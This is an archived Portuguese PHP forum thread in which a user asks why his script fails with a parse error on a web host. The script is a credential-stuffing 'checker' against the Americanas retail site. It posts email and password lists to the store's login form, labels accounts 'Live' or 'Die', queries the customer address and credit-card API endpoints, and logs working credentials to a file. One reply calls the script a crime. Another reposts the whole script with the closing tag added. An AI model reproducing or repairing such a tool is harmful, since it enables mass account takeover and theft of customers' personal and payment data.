Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

MuellerSantos

Erro Quando upo pro servidor

Recommended Posts

Bom pessoal estou com um codigo que quando abro do xamp server funciona normalmente mais quando upo pro servido aparece o seguinte erro

 

Parse error: syntax error, unexpected end of file in /home/u607215161/public_html/americanas/americanas.php on line 1

 

 

CODIGO:

<?php
//$sock = '';
error_reporting(0);
function getStr($string,$start,$end){
	$str = explode($start,$string);
	$str = explode($end,$str[1]);
	return $str[0];
}
class cURL {
    var $callback = false;
    function setCallback($func_name) {
        $this->callback = $func_name;
    }
    function doRequest($method, $url) {
        $ch = curl_init();
		global $email, $pwd , $token;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // RADOM DOS NAVEGADORES
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_COOKIESESSION, false );
		curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/Americanas.txt'); //COOKIES  DO NAVEGADOR
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/Americanas.txt'); //COOKIES DO NAVEGADOR
        curl_setopt($ch, CURLOPT_REFERER, 'https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta');
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, 0);                 
            curl_setopt($ch, CURLOPT_POSTFIELDS, ''.$token.'%3AloginForm_hf_0=&flow=&subviagens=&codCarrinho=&paramIngresso=&suggestAddressUpdate=&'.$token.'%3Ausername='.$email.'&'.$token.'%3Apassword='.$pwd.'&'.$token.'%3AbtProsseguir=Continuar'); //POST DO LIVE REQUESST        
       
        }
         $token. "<br><br><br>";
   $data = curl_exec($ch); //AQUI PRA VER AS PAGINAS DE RESULTADO
        curl_close($ch);
        if ($data) {
            if ($this->callback) {
                $callback = $this->callback;
                $this->callback = false;
                return call_user_func($callback, $data);
            } else {
                return $data;
            }
        } else {
            return curl_error($ch);
        }
    }
    function get($url) {
        return $this->doRequest('GET', $url, 'NULL');
    }
    function post($url) {
        return $this->doRequest('POST', $url);
    }
}

echo '
<DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head><title>AMERICANAS</title></head>

    <script type="text/javascript">
        function pushPaypalDie(str){
            document.getElementById(\'listReprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
        function pushPaypal(str){
            document.getElementById(\'listAprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
        function pushWrongFormat(str){
            document.getElementById(\'listInvalidas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
    </script>
</head>
<body>
<div class="main-content">
<center><img src="http://www.hub2b.com.br/integracao-americanas/img/connectores/americanas-transp.png" width="200" ></img></center><form method="post">
<div align="center"><textarea name="mp" rows="10" style="width:90%">';
if (isset($_POST['btn-submit']))
    echo $_POST['mp'];
else
    echo 'EMAIL|SENHA';
;
echo '</textarea><br />
SEPARADOR: <input type="text" name="delim" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['delim'];
else
    echo '|';
;
echo '" size="1" /><input type="hidden" name="mail" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['mail'];
else
    echo 0;
;
echo '" size="1" /><input type="hidden" name="pwd" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['pwd'];
else
    echo 1;
;
echo '" size="1" /> 
<input type="submit" class = "submit-button" value="Testar" name="btn-submit" /> </br>    
</div>
</form>
';
set_time_limit(0);
include("use.php");
function fetch_value($str, $find_start, $find_end) {
    $start = strpos($str, $find_start);
    if ($start === false) {
        return "";
    }
    $length = strlen($find_start);
    $end = strpos(substr($str, $start + $length), $find_end);
    return trim(substr($str, $start + $length, $end));
}
function fetch_value_notrim($str, $find_start, $find_end) {
    $start = strpos($str, $find_start);
    if ($start === false) {
        return "";
    }
    $length = strlen($find_start);
    $end = strpos(substr($str, $start + $length), $find_end);
    return substr($str, $start + $length, $end);
}
$dir = dirname(__FILE__);
$config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
if (!file_exists($config['cookie_file'])) {
    $fp = @fopen($config['cookie_file'], 'w');
    @fclose($fp);
}
$zzz = "";
$live = array();
function get($list) {
    preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
    return $socks[0];
}
function delete_cookies() {
    global $config;
    $fp = @fopen($config['cookie_file'], 'w');
    @fclose($fp);
}
function xflush() {
    static $output_handler = null;
    if ($output_handler === null) {
        $output_handler = @ini_get('output_handler');
    }
  
   if ($output_handler == 'ob_gzhandler') {
        return;
    }
	
    flush();
    if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
        @ob_flush();
    } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
        @ob_end_flush();
        @ob_start();
    }
}
function curl_grab_page($site,$proxy,$proxystatus){
	$chss = curl_init();
	curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
	if ($proxystatus == 'on') {
				curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
				curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
				curl_setopt($chss, CURLOPT_PROXY, $proxy);
			}
			curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
			curl_setopt($chss, CURLOPT_URL, $site);
			return curl_exec($chss);
			curl_close ($chss);
			
}
function display($str) {
    echo '<div>' . $str . '</div>';
    xflush();
}

function pushPaypalDie($str) {
    echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
	file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);  
    xflush();
}
function pushPaypal($str) {
    echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
	file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);  
    xflush();
}
function pushWrongFormat($str) {
    echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
    xflush();
}
if (isset($_POST['btn-submit'])) {
    ;
    echo '<br/>
<br/>
<br/>
<center>
<legend class="tvmit_live">Live:<br/><div id="listAprovadas"></div></legend>
<br/>
<legend class="tvmit_die">Die:<br/><div id="listReprovadas"></div></legend>
<br/>
<legend class="tvmit_die">Invalidas: <br/><div id="listInvalidas"></div></legend>
</center>
';

    xflush();
    $emails = explode("\n", trim($_POST['mp']));
    $eCount = count($emails);
    $failed = $live = $uncheck = array();
    $checked = 0;
    if (!count($emails)) {
        continue;
    }
    delete_cookies();

    foreach ($emails AS $k => $line) {
        $info = explode($_POST['delim'], $line);
        $email = trim($info["{$_POST['mail']}"]);
        $pwd = trim($info["{$_POST['pwd']}"]);
        if (stripos($email, '@') === false || strlen($pwd) < 2) {
            unset($emails[$k]);
            pushWrongFormat($email . ' | ' . $pwd);
            continue;
        }

if(file_exists(getcwd().'/Americanas.txt')) {
        unlink(getcwd().'/Americanas.txt'); 
    }

	$c = new cURL();
    $b = $c->get("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta");//CHAMADA TOKEN
    $token = getStr($b,'id="btProsseguir" name="',":"); //CHAMADA TOKEN
    $d = $c->post("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta/wicket:interface/:0:loginForm::IFormSubmitListener::/;jsessionid=p37fVnWRk6XnJbTQJJQTB2v8lGLPPGBvl2JLmbTXGwvRJ2gnLHzT!-598556098"); //POST DA 2 CHAMADA
    $id = getStr($d,'customer.id=',";");
  $tok = getStr($d,'customer.api.token=',";");  
	$j = $c->get("https://api.americanas.com.br/v5/customer/$id/address?token='.$tok.'");//CHAMADA TOKEN  
	$i = $c->get("https://api.americanas.com.br/v5/customer/$id/credit-card?token='.$tok.'");//CHAMADA TOKEN
	
   
$checked++;
 
	if($d){

		if (stristr($d,'account/home') !== false) {
			$cidade = getStr($j,'"city":"','"');
			$estado = getStr($j,'"state":"','"');
			
				
			$xyz = "<b style=\"color:green\">Live ✔ ► </b><b style=\"color:green\">$email | $pwd | $cidade | $estado | <b style=\"color:green\">♣ WeedCheck ♣</b>";
            $live[] = $xyz;
            unset($emails[$k]);
            pushPaypal($xyz);
			
			}
			else{
				
			
				pushPaypalDie("<b style=\"color:red\">Die ♦ ► </b><b style=\"color:red\" >$email<b> | $pwd | <b style=\"color:red\">♣ WeedCheck ♣</b>");
				
			unset($emails[$k]);
			
				 
			}
        
	}
	}
}

    if (count($emails)) {
        display("Sem Testar:");
        display('<textarea cols="800" rows="10">' . implode("\n", $emails) . '</textarea>');
    }
echo '</body>
</html>';


Compartilhar este post


Link para o post
Compartilhar em outros sites

E só para constar!!!

Isso que está tentando fazer é crime, e como vc nem ao menos sabe fechar um php, com certeza é um metido a lammer. Então saiba que seus dados de acesso ficaram armazenados aqui.

Compartilhar este post


Link para o post
Compartilhar em outros sites

E só para constar!!!

Isso que está tentando fazer é crime, e como você nem ao menos sabe fechar um php, com certeza é um metido a lammer. Então saiba que seus dados de acesso ficaram armazenados aqui.

 

Calma irmao so e crime se eu usar eu to fazendo pra provar para o pessoal pras americanas da minha cidade que e realmente possivel fazer isso calma kkk MAIS QUANDO EU FECHO O PHP A PAGINA FICA EM BRANCO SIMPLESMENTE NAO CARREGAR

Compartilhar este post


Link para o post
Compartilhar em outros sites

E só para constar!!!

Isso que está tentando fazer é crime, e como você nem ao menos sabe fechar um php, com certeza é um metido a lammer. Então saiba que seus dados de acesso ficaram armazenados aqui.

Antes de acusa as pessoas pergunte pra que ele esta desenvolvendo esse codigo ok

Compartilhar este post


Link para o post
Compartilhar em outros sites

Aham... ok!!!

<?php
//$sock = '';
error_reporting(0);
function getStr($string,$start,$end){
	$str = explode($start,$string);
	$str = explode($end,$str[1]);
	return $str[0];
}
class cURL {
    var $callback = false;
    function setCallback($func_name) {
        $this->callback = $func_name;
    }
    function doRequest($method, $url) {
        $ch = curl_init();
		global $email, $pwd , $token;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // RADOM DOS NAVEGADORES
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_COOKIESESSION, false );
		curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/Americanas.txt'); //COOKIES  DO NAVEGADOR
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/Americanas.txt'); //COOKIES DO NAVEGADOR
        curl_setopt($ch, CURLOPT_REFERER, 'https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta');
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, 0);                 
            curl_setopt($ch, CURLOPT_POSTFIELDS, ''.$token.'%3AloginForm_hf_0=&flow=&subviagens=&codCarrinho=&paramIngresso=&suggestAddressUpdate=&'.$token.'%3Ausername='.$email.'&'.$token.'%3Apassword='.$pwd.'&'.$token.'%3AbtProsseguir=Continuar'); //POST DO LIVE REQUESST        
       
        }
         $token. "<br><br><br>";
   $data = curl_exec($ch); //AQUI PRA VER AS PAGINAS DE RESULTADO
        curl_close($ch);
        if ($data) {
            if ($this->callback) {
                $callback = $this->callback;
                $this->callback = false;
                return call_user_func($callback, $data);
            } else {
                return $data;
            }
        } else {
            return curl_error($ch);
        }
    }
    function get($url) {
        return $this->doRequest('GET', $url, 'NULL');
    }
    function post($url) {
        return $this->doRequest('POST', $url);
    }
}

echo '
<DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head><title>AMERICANAS</title></head>

    <script type="text/javascript">
        function pushPaypalDie(str){
            document.getElementById(\'listReprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
        function pushPaypal(str){
            document.getElementById(\'listAprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
        function pushWrongFormat(str){
            document.getElementById(\'listInvalidas\').innerHTML += \'<div>\' + str + \'</div>\';
        }
    </script>
</head>
<body>
<div class="main-content">
<center><img src="http://www.hub2b.com.br/integracao-americanas/img/connectores/americanas-transp.png" width="200" ></img></center><form method="post">
<div align="center"><textarea name="mp" rows="10" style="width:90%">';
if (isset($_POST['btn-submit']))
    echo $_POST['mp'];
else
    echo 'EMAIL|SENHA';
;
echo '</textarea><br />
SEPARADOR: <input type="text" name="delim" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['delim'];
else
    echo '|';
;
echo '" size="1" /><input type="hidden" name="mail" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['mail'];
else
    echo 0;
;
echo '" size="1" /><input type="hidden" name="pwd" value="';
if (isset($_POST['btn-submit']))
    echo $_POST['pwd'];
else
    echo 1;
;
echo '" size="1" /> 
<input type="submit" class = "submit-button" value="Testar" name="btn-submit" /> </br>    
</div>
</form>
';
set_time_limit(0);
include("use.php");
function fetch_value($str, $find_start, $find_end) {
    $start = strpos($str, $find_start);
    if ($start === false) {
        return "";
    }
    $length = strlen($find_start);
    $end = strpos(substr($str, $start + $length), $find_end);
    return trim(substr($str, $start + $length, $end));
}
function fetch_value_notrim($str, $find_start, $find_end) {
    $start = strpos($str, $find_start);
    if ($start === false) {
        return "";
    }
    $length = strlen($find_start);
    $end = strpos(substr($str, $start + $length), $find_end);
    return substr($str, $start + $length, $end);
}
$dir = dirname(__FILE__);
$config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
if (!file_exists($config['cookie_file'])) {
    $fp = @fopen($config['cookie_file'], 'w');
    @fclose($fp);
}
$zzz = "";
$live = array();
function get($list) {
    preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
    return $socks[0];
}
function delete_cookies() {
    global $config;
    $fp = @fopen($config['cookie_file'], 'w');
    @fclose($fp);
}
function xflush() {
    static $output_handler = null;
    if ($output_handler === null) {
        $output_handler = @ini_get('output_handler');
    }
  
   if ($output_handler == 'ob_gzhandler') {
        return;
    }
	
    flush();
    if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
        @ob_flush();
    } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
        @ob_end_flush();
        @ob_start();
    }
}
function curl_grab_page($site,$proxy,$proxystatus){
	$chss = curl_init();
	curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
	if ($proxystatus == 'on') {
				curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
				curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
				curl_setopt($chss, CURLOPT_PROXY, $proxy);
			}
			curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
			curl_setopt($chss, CURLOPT_URL, $site);
			return curl_exec($chss);
			curl_close ($chss);
			
}
function display($str) {
    echo '<div>' . $str . '</div>';
    xflush();
}

function pushPaypalDie($str) {
    echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
	file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);  
    xflush();
}
function pushPaypal($str) {
    echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
	file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);  
    xflush();
}
function pushWrongFormat($str) {
    echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
    xflush();
}
if (isset($_POST['btn-submit'])) {
    ;
    echo '<br/>
<br/>
<br/>
<center>
<legend class="tvmit_live">Live:<br/><div id="listAprovadas"></div></legend>
<br/>
<legend class="tvmit_die">Die:<br/><div id="listReprovadas"></div></legend>
<br/>
<legend class="tvmit_die">Invalidas: <br/><div id="listInvalidas"></div></legend>
</center>
';

    xflush();
    $emails = explode("\n", trim($_POST['mp']));
    $eCount = count($emails);
    $failed = $live = $uncheck = array();
    $checked = 0;
    if (!count($emails)) {
        continue;
    }
    delete_cookies();

    foreach ($emails AS $k => $line) {
        $info = explode($_POST['delim'], $line);
        $email = trim($info["{$_POST['mail']}"]);
        $pwd = trim($info["{$_POST['pwd']}"]);
        if (stripos($email, '@') === false || strlen($pwd) < 2) {
            unset($emails[$k]);
            pushWrongFormat($email . ' | ' . $pwd);
            continue;
        }

if(file_exists(getcwd().'/Americanas.txt')) {
        unlink(getcwd().'/Americanas.txt'); 
    }

	$c = new cURL();
    $b = $c->get("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta");//CHAMADA TOKEN
    $token = getStr($b,'id="btProsseguir" name="',":"); //CHAMADA TOKEN
    $d = $c->post("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta/wicket:interface/:0:loginForm::IFormSubmitListener::/;jsessionid=p37fVnWRk6XnJbTQJJQTB2v8lGLPPGBvl2JLmbTXGwvRJ2gnLHzT!-598556098"); //POST DA 2 CHAMADA
    $id = getStr($d,'customer.id=',";");
  $tok = getStr($d,'customer.api.token=',";");  
	$j = $c->get("https://api.americanas.com.br/v5/customer/$id/address?token='.$tok.'");//CHAMADA TOKEN  
	$i = $c->get("https://api.americanas.com.br/v5/customer/$id/credit-card?token='.$tok.'");//CHAMADA TOKEN
	
   
$checked++;
 
	if($d){

		if (stristr($d,'account/home') !== false) {
			$cidade = getStr($j,'"city":"','"');
			$estado = getStr($j,'"state":"','"');
			
				
			$xyz = "<b style=\"color:green\">Live ✔ ► </b><b style=\"color:green\">$email | $pwd | $cidade | $estado | <b style=\"color:green\">♣ WeedCheck ♣</b>";
            $live[] = $xyz;
            unset($emails[$k]);
            pushPaypal($xyz);
			
			}
			else{
				
			
				pushPaypalDie("<b style=\"color:red\">Die ♦ ► </b><b style=\"color:red\" >$email<b> | $pwd | <b style=\"color:red\">♣ WeedCheck ♣</b>");
				
			unset($emails[$k]);
			
				 
			}
        
	}
	}
}

    if (count($emails)) {
        display("Sem Testar:");
        display('<textarea cols="800" rows="10">' . implode("\n", $emails) . '</textarea>');
    }
echo '</body>
</html>';
?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.